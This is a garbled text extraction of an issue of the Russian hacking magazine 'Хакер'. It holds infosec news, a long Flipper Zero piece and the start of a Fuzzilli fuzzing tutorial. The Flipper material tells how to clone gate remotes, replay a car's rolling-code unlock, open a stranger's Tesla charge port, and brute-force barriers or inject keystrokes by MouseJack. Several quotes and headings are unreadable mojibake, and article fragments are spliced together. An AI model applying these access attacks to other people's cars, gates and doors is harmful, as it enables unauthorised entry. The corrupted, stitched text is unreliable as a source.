Академический Документы
Профессиональный Документы
Культура Документы
CONTENTS
Кто делал этот журнал
Колонка главреда
MEGANews
Самые важные события в мире инфосека за июль
Боевой дельфин
Что я успел натворить за месяц с Flipper Zero
Альтернативные прошивки Flipper Zero
Выбираем апгрейд для твоего «Флиппера»
Ласты для дельфина
Что могут внешние модули для Flipper Zero
В гостях у Дани
Павел Жовнер о проблемах разработки, новом маркетплейсе и следующем Flipper
JavaScript аль денте
Фаззим JS-движки при помощи Fuzzilli
Фундаментальные основы хакерства
Ищем структуры языков высокого уровня в программах для x86-64
СКУД глазами хакера
Атакуем системы контроля доступа на основе RFID
Standoff Talks #3
Шесть докладов, которые стоит посмотреть багхантеру
HTB Socket
Эксплуатируем SQL-инъекцию для атаки на SQLite через WebSocket
HTB Derailed
Пентестим веб-приложение на Ruby on Rails
HTB Inject
Используем Ansible playbooks для повышения привилегий
HTB Pollution
Эксплуатируем XXE и разбираемся с уязвимостью prototype pollution
Де-onion
Как ловят администраторов сайтов в Tor
5 утилит для OSINT
Собираем инструментарий сетевого разведчика
Маковый мониторинг
Отслеживаем системные события в macOS
Титры
Кто делает этот журнал
HEADER
КОЛОНКА ГЛАВРЕДА
в археологических раскопках.
К сожалению, сейчас узнавать о том, где Никита и что с ним, мы можем только
из новостей. Надеемся, что они будут хорошими!
Неизменным выпускающим при Кислицине был Николай «gorl» Андреев.
Ему же принадлежит и рекорд пребывания в этой должности.
Из редакторов дольше всех в титрах продержался Саша Лозовский. Наш
«доктор Klouniz» возглавил рубрику «Кодинг» летом 2006 года, а прекратил
работать над статьями в марте 2019-го.
При том, что титры и присутствие в них вроде бы всех заботили, составлялись
они с криминальной небрежностью. Какие-то люди работали в журнале пару
месяцев и успели отметиться, но есть и герои, которые внесли огромный
вклад в развитие «Хакера», а в титры никогда не попадали.
Статьи легендарного Криса Касперски в иных номерах составляли чуть ли
не до трети объема. Но про заслуги Криса ты, наверное, уже в курсе. Если
нет, то обязательно глянь цикл по книге «Фундаментальные основы хакерс-
тва», которую Юра Язев только недавно закончил обновлять.
Другой герой и источник скрытой силы «Хакера» — Мария Нефёдова.
Маша писала в рубрику «Сцена» больше десяти лет подряд и при этом никог-
да не стремилась засветиться в редакторском составе.
Заведовали «Сценой» сначала Олег «mindwOrk» Чебенеев, потом Илья
Александров, потом во времена номеров 112 и 113 — загадочные «Петя
и Волк» (я так и не понял, кто это и почему так подписывался), а потом дол-
го-долго слово «Сцена» просто не появлялось в титрах, пока рубрика не упа-
ла в руки Ильи Илембитова, а спустя год — в мои.
Все это время Маша, помимо «Мегановостей», открывающих каждый
выпуск, стабильно радовала читателей топовыми материалами о знаменитых
хакерах и важных событиях. Спасибо ей за это!
Вообще, если интересуешься ранней историей «Хакера», рекомендую
глянуть таймлайн журнала с 1999-го по 2007 год и биографии нескольких
ключевых сотрудников (у кого-то, видимо, был такой же порыв копнуть исто-
рию).
А еще можешь почитать интервью, которое я брал у основателя Gameland
Димы Агарунова, тоже в рамках очередного изыскания. И думаю, не пос-
леднего.
Мария «Mifrill» Нефёдова
nefedova@glc.ru
БАГ В MIKROTIK
Для сравнения: за первое полугодие 2022 года было зафиксировано 19 утечек персональных
данных, в открытый доступ попали около 45 миллионов записей.
У FLIPPER ZERO
ПОЯВИЛСЯ МАГАЗИН
ПРИЛОЖЕНИЙ
Если рассматривать Chrome OS как еще одну Linux-систему, то к полученным данным можно
добавить еще 4,13%, в сумме получив уже целых 7,2%.
Также стоит отметить падение доли Windows с 76,33% до 68,23% за год. Предполагается, что
это связано с приостановкой продаж в России.
Уверенно растет и macOS, доля которой увеличилась с 14,64% в июне 2022 года до 21,32%
в текущем году.
Таким образом, в настоящее время под управлением Windows и macOS работают 89,5% всех
десктопов в мире, а остаток рынка делят между собой Chrome OS, Linux и «Неизвестно» (в эту
группу попали совсем новые или очень старые версии популярных ОС).
ХАКЕРЫ АТАКОВАЛИ
«ХЕЛИКС»
Уже не в первый раз Билл Гейтс затрагивает в своем блоге темы, связанные с развитием
искусственного интеллекта. Этот материал он посвятил возможным рискам, которые ждут
людей из-за развития ИИ.
Гейтс полагает, что это не первый раз, когда крупная инновация создает новые угрозы,
которые нужно контролировать. В качестве примера он приводит появление автомобилей и ПК
и отмечает, что многие проблемы, связанные с ИИ, можно будет решить с помощью ИИ.
УТЕЧКА
ЧЕРЕЗ VIRUSTOTAL
После снижения в 2022 году российская национальная зона уже два квартала демонстрирует
небольшой рост, и по итогам второго квартала она выросла на 69 019 доменов. Общее число
зарегистрированных имен в итоге составило 5 004 957.
Продолжение статьи →
← Начало статьи
В СТАНДАРТЕ TETRA
НАШЛИ МНОЖЕСТВО
ПРОБЛЕМ
Также на 8,5% сократилось количество времени, которое посетители проводят на сайте. Вмес-
те с вовлеченностью падает и количество уникальных посетителей, которое в июне «просело»
на 5,7%. Однако отмечается, что ChatGPT по-прежнему привлекает больше посетителей, чем
bing.com или Character.AI.
ИЛЬЯ САЧКОВ
ПРИГОВОРЕН
К 14 ГОДАМ ТЮРЬМЫ
« «Ýòî òÿæåëûé ìîìåíò äëÿ âñåõ íàñ è ÷åðíûé äåíü äëÿ ðûíêà êèáåð-
áåçîïàñíîñòè. Èëüÿ Ñà÷êîâ, ìîé äðóã, êîëëåãà, ñîçäàòåëü îäíîé
èç ñàìûõ óñïåøíûõ âûñîêîòåõíîëîãè÷íûõ êîìïàíèé â ñôåðå êèáåð-
áåçîïàñíîñòè — â ðåçóëüòàòå „ñêîðîãî ñóäà“ îòïðàâëåí â êîëîíèþ.
Èëüÿ — êóëüòîâàÿ ôèãóðà â ìèðå êèáåðáåçîïàñíîñòè. Âûáðàâ äåëîì
ñâîåé æèçíè ñîçäàíèå èíæåíåðíûõ òåõíîëîãèé ìèðîâîãî êëàññà
äëÿ ïðîòèâîäåéñòâèÿ êèáåðïðåñòóïíîñòè, îí ìíîãîå ñäåëàë, ÷òîáû
î÷èñòèòü ðîññèéñêîå è ìåæäóíàðîäíîå êèáåðïðîñòðàíñòâî îò êðè-
ìèíàëà. È ÿ óâåðåí, ñäåëàë áû íàìíîãî áîëüøå, òåì áîëåå ñåé÷àñ,
êîãäà íà êîíó — êèáåðáåçîïàñíîñòü ãîñóäàðñòâà, à ìàñøòàá è ÷àñòîòà
êèáåðàòàê ðàñòóò ñ êàæäûì ìåñÿöåì. Ïîòåíöèàë Èëüè êàê ÷åëîâåêà,
êàê ëè÷íîñòè, êàê ïðîôåññèîíàëà îãðîìåí. Îí ñîçäàë îòå÷åñòâåííûå
êîíêóðåíòîñïîñîáíûå ýêñïîðòíûå òåõíîëîãèè, îíè óñïåøíû è ïðèç-
íàíû âî âñåì ìèðå. Êàê Èëüÿ ëè÷íî, òàê è êîìïàíèÿ èìåþò ìíîæåñòâî
íàãðàä è áëàãîäàðñòâåííûõ ïèñåì îò ïðàâîîõðàíèòåëüíûõ îðãàíîâ.
Åãî èçîëÿöèÿ — ýòî ïîòåðÿ äëÿ âñåãî ÈÒ ðûíêà, è âìåñòå ñ òåì, âåðî-
ÿòíî, îíà îáðàäóåò òåõ, ñ êåì îí áîðîëñÿ, — ðåàëüíûõ êèáåðïðåñ-
òóïíèêîâ. Íî ìû ïðîäîëæèì åãî äåëî è, êàê ïðåæäå, áóäåì ðàç-
ðàáàòûâàòü ðåøåíèÿ äëÿ èíôîðìàöèîííîé áåçîïàñíîñòè, îïåðåæà-
þùèå âðåìÿ, ñëåäîâàòü íàøåé ìèññèè è çàùèùàòü êàê êîìïàíèè, òàê
è âñåõ ïîëüçîâàòåëåé. Äåëàåì», — ãîâîðèò Âàëåðèé Áàóëèí, ãåíåðàëü-
íûé äèðåêòîð êîìïàíèè FAÑÑT.
Только за июнь 2023 года хакеры потребовали у жертв 449,1 миллиона долларов. Если такие
темпы сохранятся, злоумышленники суммарно затребуют у своих жертв около 898,6 мил-
лиона долларов в 2023 году, уступая лишь рекордным 939,9 миллиона долларов
в 2021 году.
Движущей силой этого резкого роста доходов вымогателей считают так называемую «охоту
на крупную дичь», поскольку киберпреступники сосредоточились на атаках на крупные орга-
низации, у которых можно требовать большие суммы денег.
Средний размер выкупа Clop составляет 1,7 миллиона долларов, а медианный — 1,9 мил-
лиона долларов.
GOOGLE СОЗДАЕТ
«DRM
ДЛЯ ИНТЕРНЕТА»
Команда из четырех инженеров Google работает над новым веб-API под наз-
ванием Web Environment Integrity, который позволит сайтам блокировать кли-
ентские приложения, изменяющие их код. Плюсы с точки зрения безопас-
ности очевидны, но, помимо того, новый API фактически поможет Google
и операторам сайтов эффективно бороться с блокировщиками рекламы.
Основная цель проекта — узнать больше о человеке по ту сторону браузе-
ра, удостовериться, что он не робот, а браузер не был модифицирован
или подделан каким-либо образом.
Разработчики заявляют, что такие данные будут полезны рекламодателям
для подсчета показов рекламы, помогут бороться с ботами в социальных
сетях, защитят права на интеллектуальную собственность, будут противос-
тоять читерству в веб-играх, а также повысят безопасность финансовых тран-
закций.
То есть, на первый взгляд, Web Environment Integrity API разрабатывается
как защитное решение, чтобы сайты могли обнаруживать вредоносные
модификации кода на стороне клиента и отключать вредоносных клиентов.
При этом авторы Web Integrity API пишут, что вдохновлялись «существу-
ющими нативными сигналами аттестации, включая Apple App Attest и Android
Play Integrity API».
Здесь стоит пояснить, что Play Integrity (ранее SafetyNet) представляет
собой API для Android, позволяющий приложениям выяснить, было ли устрой-
ство рутировано. Root-доступ позволяет получить полный контроль
над устройством, и многим разработчикам приложений такое не нравится.
Поэтому после получения соответствующего сигнала от Android Integrity API
некоторые типы приложений могут просто отказаться запускаться.
Как правило, в таких случаях отказываются работать банковские приложе-
ния, Google Wallet, онлайн-игры, Snapchat, а также некоторые мультимедий-
ные приложения (например, Netix). Ведь считается, что root-доступ может
использоваться для читерства в играх или фишинга банковских данных. Хотя
root-доступ также может понадобиться для настройки устройства, удаления
вредоносного ПО или создания системы резервного копирования, Play
Integrity такие варианты применения не рассматривает и в любом случае бло-
кирует доступ.
Как теперь предполагают ИБ-специалисты, Google стремится реализовать
то же самое в масштабах всего интернета.
По замыслу Google, в ходе транзакции веб-страницы сервер может пот-
ребовать от пользователя пройти тест environment attestation, прежде чем тот
получит какие-либо данные. В этот момент браузер свяжется со сторонним
сервером аттестации, и пользователь должен будет пройти определенный
тест. Если проверка пройдена, пользователь получает подписанный Integrity
Token, который подтверждает целостность его среды и указывает на контент,
который нужно разблокировать. Затем токен передается обратно на сервер,
и если сервер доверяет компании-аттестатору, то контент разблокируется,
а человек наконец получит доступ к нужным данным.
Как теперь опасаются многие, если браузером в таком примере будет выс-
тупать Chrome и сервер аттестации тоже будет принадлежать Google, то
именно Google будет решать, предоставить или не предоставить человеку
доступ к сайтам.
При этом в компании уверяют, что Google не собирается использовать
описанную функциональность во вред. Так, создатели Web Integrity API «твер-
до уверены», что их API не должен использоваться для фингерпринтинга
людей, хотя вместе с этим они хотят получить «некий индикатор, позволя-
ющий ограничить скорость по отношению к физическому устройству».
Также заявлено, что компания не хочет «вмешиваться в функциональность
браузера, включая плагины и расширения». Таким образом разработчики
дают понять, что якобы не собираются бороться с блокировщиками рекламы,
хотя в компании много лет работают над скандальным Manifest V3, чья цель
состоит именно в этом. А новый API можно использовать для обнаружения
того, что блокировщик рекламы вмешивается в рекламный код. После этого
оператор сайта будет волен попросту прекратить предоставление услуг.
Обсуждение этой темы в сети уже спровоцировало волну критики в адрес
Google, а проект окрестили «DRM для интернета». К примеру, разработчики,
ИБ-специалисты и простые пользователи отмечают, что проект Web Integrity
API намеренно размещается на GitHub одного из разработчиков, а Google
старается дистанцироваться от разработки, которая может отравить сущес-
твующие веб-стандарты, помогая компании сохранить рекламный бизнес.
Дискуссия на Issues-странице проекта на GitHub также касается преиму-
щественно этических аспектов происходящего, а Google обвиняют в попытке
стать монополистом в очередной области и «убить» блокировщики рекламы.
В этом месяце «Хакер» поговорил с одним из авторов «хакерского тамагочи» Flipper Zero Пав-
лом Жовнером. В интервью Павел подтвердил, что работа над вторым и более продвинутым
вариантом хакерского мультитула, Flipper One, уже ведется.
Исходно старшая модель «хакерского тамагочи» планировалась как более продвинутая вер-
сия Flipper, ориентированная на атаки на проводные и беспроводные сети. One должен был
обладать всей функциональностью Zero, а также иметь отдельный ARM-компьютер с Kali Linuх
на борту.
→ «Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким
он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором
все протоколы можно будет определить программно, но пока есть сомнения,
будут ли покупать устройство за 300–500 долларов.
Так что проект в активном R&D, но пока нет понимания по важным частям.
Например, не выбрали модуль Wi-Fi, потому что все существующие чипы, при-
годные для атак, уже устарели. Возможно, придется спонсировать разработку
своего драйвера. В общем, увидим», — сообщил Жовнер.
Продолжение статьи →
← Начало статьи
СЕРТИФИКАТЫ
ANDROID 7
УСТАРЕВАЮТ
« «Åñëè âû èñïîëüçóåòå Android 7.0 èëè áîëåå ðàííþþ âåðñèþ ÎÑ, âàì
ìîæåò ïîòðåáîâàòüñÿ ïðèíÿòü ìåðû, ÷òîáû îáåñïå÷èòü ñåáå äîñòóï
ê ñàéòàì, çàùèùåííûì ñåðòèôèêàòàìè Let’s Encrypt. Ìû ðåêîìåíäóåì
óñòàíîâèòü è èñïîëüçîâàòü Firefox Mobile, êîòîðûé èñïîëüçóåò ñîáñ-
òâåííîå õðàíèëèùå äîâåðåííûõ ñåðòèôèêàòîâ âìåñòî õðàíèëèùà
äîâåðåííûõ ñåðòèôèêàòîâ ÎÑ Android è, ñëåäîâàòåëüíî, äîâåðÿåò
ISRG Root X1», — ïèøóò ðàçðàáîò÷èêè.
79% пользователей считают, что в публичных местах слушать голосовые сообщения неком-
фортно, а 50% — что информацию из них трудно запоминать или перепроверять.
У MICROSOFT УКРАЛИ
ВАЖНЫЙ КЛЮЧ
В середине июля 2023 года стало известно, что у компании Microsoft был
похищен криптографический ключ MSA (Microsoft account consumer signing
key), что привело к массовой атаке на Exchange Online и Azure Active Directory
(AD) более 25 организаций по всему миру, включая правительственные
учреждения в США и странах Западной Европы.
Как оказалось, еще в середине мая злоумышленникам из китайской груп-
пировки Storm-0558 удалось получить доступ к учетным записям, принад-
лежащим примерно 25 организациям, а также к некоторым учетным записям
пользователей, которые, вероятно, были связаны с этими организациями.
Названия пострадавших организаций и госучреждений не были раскрыты.
Известно лишь, что в числе пострадавших Госдеп и Министерство торговли
США.
Как объясняли тогда в Microsoft, для этой атаки злоумышленники исполь-
зовали токены аутентификации, подделанные с помощью криптографичес-
кого ключа MSA, который применяется для подписания токенов. Из-за 0-day-
проблемы, связанной с валидацией в GetAccessTokenForResourceAPI, хакеры
смогли подделать чужие подписанные токены Azure Active Directory (Azure AD
или AAD) и выдать себя за своих жертв.
При этом в Microsoft до сих пор не объяснили, как именно такой важный
ключ MSA вообще оказался в руках хакеров.
Более того, по данным аналитиков компании Wiz, специализирующейся
на облачной безопасности, проблема куда серьезнее, чем ее преподносит
Microsoft. Исследователи считают, что проблема затронула все приложения
Azure AD, работающие с Microsoft OpenID v2.0. Дело в том, что украденный
ключ мог подписать любой токен доступа OpenID v2.0 для личных учетных
записей (например, Xbox, Skype) и мультитенантных приложений AAD
при определенных условиях.
Хотя Microsoft заявляла, что пострадали только Exchange Online и Outlook,
по мнению специалистов Wiz, хакеры могли использовать скомпромети-
рованный ключ, чтобы выдать себя за любую учетную запись в любом постра-
давшем клиентском или облачном приложении Microsoft. В их число входят
managed-приложения Microsoft, такие как Outlook, SharePoint, OneDrive
и Teams, а также клиентские приложения, поддерживающие аутентификацию
Microsoft Account, включая те, которые позволяют использовать функциональ-
ность Login with Microsoft.
WORMGPT
УЧАСТВУЕТ
В ФИШИНГЕ
Почти 40% установок Ubuntu уязвимы перед новыми уязвимостями повышения привилегий
Энтузиасты запустили сайт для обновления старых версий Windows, включая 95, 98, NT 4.0, ME
Microsoft отозвала сертификаты, которыми подписали более 100 вредоносных драйверов ядра
Уже больше года прошло с тех пор, как первые бэкеры получили свои девай-
сы, но шумиха вокруг Flipper Zero только усиливается. Миллионы просмотров
видео скрипт-кидди в «Тиктоке» и обзоры в известных блогах, таких как Linus
Tech Tips, новости об уничтожении и конфискации партий «Флиппера», да еще
и запрет на продажу на Amazon и eBay только подогревают интерес к устрой-
ству. В рекламе компонентов СКУД-систем уже пишут «Flipper Zero не сра-
ботает!». Спрос на «Флиппер» настолько большой, что о дропах новых партий
объявляют заранее, а разлетаются они мгновенно. При этом не дремлют
и скамеры, которые пытаются заработать на ажиотаже.
SUB-GHZ
Øëàãáàóì íà ïàðêîâêå
В моем доме для въезда на территорию используется именно такой шлаг-
баум с недорогим пультом. Копирование сигналов всех трех его кнопок
занимает в общей сложности меньше минуты, а записанный на «Флиппер»
сигнал отлично работает — не хуже, чем когда используешь пульт.
Для записи нужно всего лишь выбрать в разделе Sub-GHz пункт Read
и установить центральную частоту, которая обычно указана на пульте. После
нажатия по очереди всех кнопок «Флиппер» их определит и демодулирует
сигналы, а нам останется только сохранить их под каким-то именем.
Следующей жертвой я наметил пульт от ворот подземной парковки.
На него надежды было мало, потому что, в отличие от пульта шлагбаума,
за него мне пришлось отвалить залог, эквивалентный 3,5 тысячи рублей, а на
местном радиорынке наотрез отказались его копировать, повторяя «Rolling
code, rolling code».
Однако на тех же самых настройках «Флиппер» безошибочно определил
источник сигнала как Marantec, что совпало с надписью на самом пульте. Обе
кнопки успешно записались и отлично функционируют. Даже дальность
работы пультов и «Флиппера» ничем не отличается.
Итого: минус два лишних брелока, сэкономленные деньги и плюсик
«Флипперу».
Копируем пульты
Àâòîìîáèëü
Воодушевленный этим успехом, я решил перейти к брелоку от машины. Тут
уже, конечно, код не статический, а динамический, то есть тот самый rolling
code.
Rolling code (скользящий, или динамический, код) — технология, которую
применяют в радиочастотном дистанционном управлении, чтобы защититься
от копирования ключа. Принцип ее работы очень простой: при каждом
использовании код меняется, причем каждый код, отправленный передат-
чиком и принятый приемником, считается использованным и может быть при-
нят только один раз.
Технология надежная, но даже из описания можно понять, что у нее есть
один изъян — использованным считается только принятый приемником код.
То есть полностью скопировать брелок от современного автомобиля
не получится, но один раз снятый «Флиппером» сигнал сработает. В отличие
от случая с пультом от парковки, полностью демодулировать сигнал не вый-
дет, и мы запишем его в формате RAW, выбрав в меню соответствующий
пункт.
В итоге у меня получилось один раз открыть центральный замок, записав код
открытия в режиме RAW, и воспроизвести сигнал открытия рядом с автомоби-
лем. Обрати внимание: нужно, чтобы ключ находился далеко от автомобиля,
иначе сигнал будет принят машиной.
Вывод: никогда не оставляй свой ключ без присмотра, а в машине не хра-
ни ценные вещи. Злоумышленник может незаметно записать сигнал открытия
с ключа и открыть двери автомобиля, пока тебя не будет. Для этого достаточ-
но такого простого устройства, как «Флиппер», но существуют и более мощ-
ные специализированные девайсы.
Õàêàåì «Òåñëó»
Популярное развлечение владельцев «Флиппера» в Европе и Америке —
дистанционное открытие лючков зарядки в «Теслах». В России вероятность
встретить «Теслу» не так велика. А вот там, где я живу, они попадаются нам-
ного чаще. Лючок одной из них (исключительно в образовательных целях) я
торжественно открыл к большому удивлению сидевшего в ней владельца.
Конечно же, делал я это в суперудобном стелс-режиме Screen Streaming
из приложения для iPhone, чтобы не столкнуться с недопониманием хозяина
машины.
Чтобы провернуть этот трюк, нужно скачать с GitHub четыре файла, соответс-
твующие двум вариациям сигналов — для машин европейского и американ-
ского рынков. Поскольку частоты «Флиппера» в стандартной прошивке
залочены с учетом региона, сигнал для американской «Теслы» мне воспро-
извести не удалось, а при попытке это сделать «Флиппер» выдавал грозную
картинку. Видимо, несколько других попавшихся мне машин, которые мне
не удалось хакнуть, были как раз американскими.
RFID
NFC
Пять рублей
IR
IBUTTON
Проверяем контакт
На этот раз домофон сразу открылся. Оказалось, что такая проблема часто
возникает у новых пользователей. Чтобы с первого раза открывать такие
домофоны, требуется выработать некоторый скилл одновременного попада-
ния пого-пинами по обоим контактам.
Можно не только эмулировать ключ, но и воспользоваться функцией
копирования. Я купил себе одну пустую болванку в ближайшей палатке, где
изготавливают ключи. Flipper отлично справился с копированием на нее всех
попадавшихся мне ключей.
В общем, в итоге минус еще один ключ и потенциальная возможность
накопировать ключи всем желающим. Болванки для таких ключей тоже легко
найти на маркетплейсах — ищи по ключевому слову rw1990. Стоят они при-
мерно столько же, сколько и RFID-ключи.
U2F
BLUETOOTH
ÂÛÂÎÄÛ
Писать про «Флиппер» — это примерно как писать про смартфон или компь-
ютер. Это полноценная открытая программно-аппаратная платформа со сво-
ими особенностями, операционной системой и прочим. У нее масса воз-
можностей и применений, для каждого пользователя набор любимых фич
будет другим.
Я всегда ношу с собой «Флиппер» и использую его каждый день. Он изба-
вил меня от необходимости иметь при себе громоздкие пульты и лишние
ключи. Часто использую его как ИК-пульт для телевизора, кондиционера
и проектора, как Bluetooth-пульт или кликер для компьютера и телефона и как
ключ U2F.
Так что, даже если ты ничего не мастеришь и не взламываешь, «Флиппер»
вполне может пригодиться в обычной жизни. Если же ты увлекаешься схе-
мотехникой и прочим DIY или тебе нужен универсальный и компактный инс-
трумент для физических пентестов, то ты, скорее всего, оценишь «Флиппер»
еще выше.
Кастомные прошивки со снятым ограничением на частоты и функциями
брутфорса делают «Флиппер» гораздо более серьезным девайсом, а допол-
нительные аппаратные модули (например, внешние адаптеры Wi-Fi) и сторон-
ние программы и плагины значительно расширяют возможности.
Не мог я не оценить и усилия, которые разработчики прилагают к поддер-
жке проекта. Постоянно выходят обновления с новыми функциями и заплатка-
ми. К примеру, с последним обновлением (0.82.3) за счет функции глубокого
сна длительность работы батареи увеличилась в четыре (!) раза.
Кстати, даже на предрелизных версиях прошивки «Флиппер» работает
стабильно. За все время использования он успел зависнуть или внезапно
ребутнуться всего несколько раз.
Вокруг устройства уже сформировалось активное международное сооб-
щество. С любым вопросом о работе с «Флиппером» можно прийти на офи-
циальный форум или сабреддит и найти ответ, попросить помощи или как
минимум обсудить интересующую тему.
Главный же вывод для меня заключается в том, что «Флиппер» — не прос-
то хайповая игрушка для гиков и не только отличное устройство для изучения
беспроводных атак, но и очень полезный в хозяйстве девайс, который
находит применение в самых разных случаях.
COVERSTORY
ВЫБИРАЕМ АПГРЕЙД
ДЛЯ ТВОЕГО «ФЛИППЕРА»
0neSeven W0lFreaK
hanz0ctf@gmail.com Независимый исследователь
веба https://t.me/pain_test
wolfreak449@gmail.com
Flipper Zero Firmware — это стандартная прошивка, с которой Flipper Zero при-
езжает к тебе с завода. В ней есть множество инструментов, однако
со встроенными ограничениями, которые не позволяют полностью раскрыть
весь технический потенциал девайса.
Прошивка будет полезна тем, кто только приобрел Flipper Zero и хочет озна-
комиться с его базовыми возможностями для минимального ежедневного
использования. Например, можешь клонировать в него все свои пропуска
и пульты дистанционного управления, чтобы не носить их каждый день
с собой.
UNLEASHED
Unleashed отлично подойдет тем, кому мало базовых функций Flipper Zero.
К примеру, с помощью этой прошивки ты можешь не только перехватывать,
записывать и повторять сигналы, но и производить брутфорс-атаки на сис-
темы.
Здесь доступны инструменты, позволяющие в автоматизированном
режиме перебрать все возможные коды доступа для открытия шлагбаума
и гарантированно его открыть без перехвата исходного сигнала (тогда
как официальная прошивка дает лишь записать существующий сигнал и эму-
лировать его в дальнейшем).
Также в разделе Sub-GHz сняты все региональные ограничения
на используемые частоты сигналов. А это значит, что с помощью Unleashed
можно перехватить и эмулировать абсолютно любой сигнал, доступный хар-
дварной части Flipper Zero.
Изменение имени
XTREME
Настройки BadKB
Инструмент Sub-GHz
ROGUEMASTER
Xtr
Ñòàí- Unlea Rogue
em
äàðò shed Master
e
Настройка интерфейса – – + +
Дополнительные модули - + + +
Стабильность работы + + + –
Doom – + + +
ÂÛÂÎÄÛ
ÇÂÅÇÄÀ ÑÌÅÐÒÈ
ÈÊ-ÁËÀÑÒÅÐ
NRF24
Нужен этот модуль для того, чтобы атаковать уязвимые беспроводные кла-
виатуры и мыши, использующие NRF24 для передачи данных. Модуль поз-
воляет при должном везении запустить по воздуху на целевой машине скрипт
BadUSB, что превращает Flipper в мощное оружие, пусть и с множеством
ограничений.
Чтобы провести атаку, нужно найти канал, где проживает уязвимое устрой-
ство, с помощью приложения Scanner (все приложения для этой атаки
находятся в каталоге Apps → GPIO). Затем запоминаем адрес устройства,
открываем приложение Mouse Jacker, выбираем скрипт BadUSB, который
хотим выполнить, и запускаем код. Полную демонстрацию атаки можно пос-
мотреть на YouTube.
Самодельный вариант
ÌÎÄÓËÜ-ÏÅÐÅÕÎÄÍÈÊ
ÂÍÅØÍÈÉ ÐÀÄÈÎÌÎÄÓËÜ
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
Схема подключения
ESP32 MARAUDER
Это очень классный модуль, который позволяет проводить атаки на Wi-Fi. Его
особенность в том, что в готовом к использованию виде он встречается очень
редко, а чтобы его заполучить, нужно повозиться с прошивкой, разобраться
с настройками и посмотреть несколько обучающих видео.
Если все сделано правильно, загорится Flipper в твоих руках красный инди-
каторный светодиод.
Теперь можно запускать приложение ESP32 Marauder, которое в пос-
ледней версии Unleashed лежит в папке GPIO, и начинать творить непотребс-
тва. Можно, например, включить генератор призрачных сетей.
ÈÒÎÃÈ
ПАВЕЛ ЖОВНЕР
О ПРОБЛЕМАХ РАЗРАБОТКИ,
НОВОМ МАРКЕТПЛЕЙСЕ
И СЛЕДУЮЩЕМ FLIPPER
ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI
Раньше фаззить движки JavaScript (те самые, что позволяют делать в браузе-
ре падающий снег или разрабатывать бэкенды на Node.js) было сложно.
Мутации JS-кода приводили к синтаксическим ошибкам, что серьезно замед-
ляло работу. Семплы отбрасывались движком, и приходилось генерировать
новые и новые. На помощь пришли фаззеры на основе грамматики, но их
применение тоже не назовешь легким.
В 2019 году исследователь безопасности saelo публично открыл свою
разработку — фаззер Fuzzilli. Идея была в том, чтобы вместо JavaScript
генерировать подобие байт-кода, которое будет проще подвергать мутаци-
ям. Собственно, хоть в названии и обыгран сорт пасты, происходит оно
от FuzzIL — Fuzzing Intermediate Language, промежуточный язык для фаззинга.
Fuzzilli
ÑÒÅÍÄ
Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt upgrade -y
Update и upgrade
JavaScript-äâèæêè
Основные части движка JavaScript — это парсер, интерпретатор и ком-
пилятор.
JS-пайплайн
ÏÎÄÃÎÒÎÂÊÀ ÔÀÇÇÅÐÀ
Password=osboxes.org
echo $Password | sudo -S apt update
sudo apt install git binutils gcc -y
git clone https://github.com/googleprojectzero/fuzzilli
Клонируем репозиторий
Теперь переходим на сайт Swift в раздел Download и ищем релиз для своего
дистрибутива. Для Ubuntu 22 качаем релиз Ubuntu 22.04 x86_64.
Swift
# Установка Swift
Password=osboxes.org
SwiftUrl=https://download.swift.org/swift-5.8.1-release/ubuntu2204/
swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz
SwiftTar=$(echo $SwiftUrl | sed 's:.*/::')
SwiftFolder=${SwiftTar%.tar.gz}
# Переходим домой
cd $HOME
# Качаем архив
wget $SwiftUrl
# Извлекаем
tar -xzf $SwiftTar
# Устанавливаем
echo $Password | sudo -S cp -r $SwiftFolder/usr /
# Удаляем архив
rm $SwiftTar
# Удаляем папку
rm -rf $SwiftFolder
# Тестовый запуск
swift --version
Установка Swift
Собираем Fuzzilli
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ФАЗЗИМ JS-ДВИЖКИ
ПРИ ПОМОЩИ FUZZILLI
ÑÁÎÐÊÀ È ÔÀÇÇÈÍÃ V8
Òåîðèÿ
Начнем с движка браузера Google Chrome, он называется V8. Это движок
JavaScript и WebAssembly, разработанный в Google, распространяется
с открытым исходным кодом, написан на C++. Используется в Chrome,
Node.js и множестве дериватив Chrome.
Разработали этот движок в датском городе Орхус, а ведущего разработ-
чика зовут Ларс Бак. Бак занимался разработкой языка Self, а также
HotSpot — виртуальной машины Java. Поэтому многое из наработок Self
перекочевало в V8. Например, та же JIT-компиляция или «карты» объектов
(maps).
Пайплайн V8
Ñáîðêà
В папке Targets/V8 нам предлагают следовать инструкциям с сайта. Но я
не буду утомлять ими, а скомпилирую все в один мини-скрипт.
# Подготовка и сборка V8
Password=osboxes.org
echo $Password | sudo -S apt update
# Переходим домой
cd $HOME
# Качаем репозиторий depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_
tools.git
# Добавляем в PATH
echo "PATH=$HOME/depot_tools:$PATH" >> ~/.bashrc
source ~/.bashrc
# Качаем исходники
gclient
fetch v8
cd v8/
gclient sync
# Ставим зависимости (update — так как скрипт попросит ввести пароль)
echo $Password | sudo -S apt update
./build/install-build-deps.sh
# Билдим при помощи скрипта из папки фаззера
$HOME/fuzzilli/Targets/V8/fuzzbuild.sh
Сборка V8
Ôàççèíã
Приступаем наконец к самому фаззингу. Для этого нужно выполнить сле-
дующую команду:
# Запускаем Fuzzilli
# Отключаем дампы
echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'
# Переходим в папку Fuzzilli
cd $HOME/fuzzilli
# Запускаем
swift run -c release FuzzilliCli --profile=v8 --resume --storagePath=
$HOME/fuzzilli-storage-v8 $HOME/v8/out/fuzzbuild/d8
Начинаем фаззить V8
Статус фаззинга
Òåîðèÿ
Переходим к JavaScript-двиглу Firefox.
SpiderMonkey — это потомок первого в мире движка JavaScript. Его релиз
состоялся аж в 1995 году! Изначально он разработан Бренданом Айком
в компании Netscape. Первые версии были написаны на C, но в дальнейшем
код переписали на C++.
Вот структура SpiderMonkey. Парсер производит байт-код. Интерпретатор
JavaScript этот байт-код выполняет. Baseline-интерпретатор занимается соз-
данием инлайнового кеша. Baseline-компилятор создает неоптимизирован-
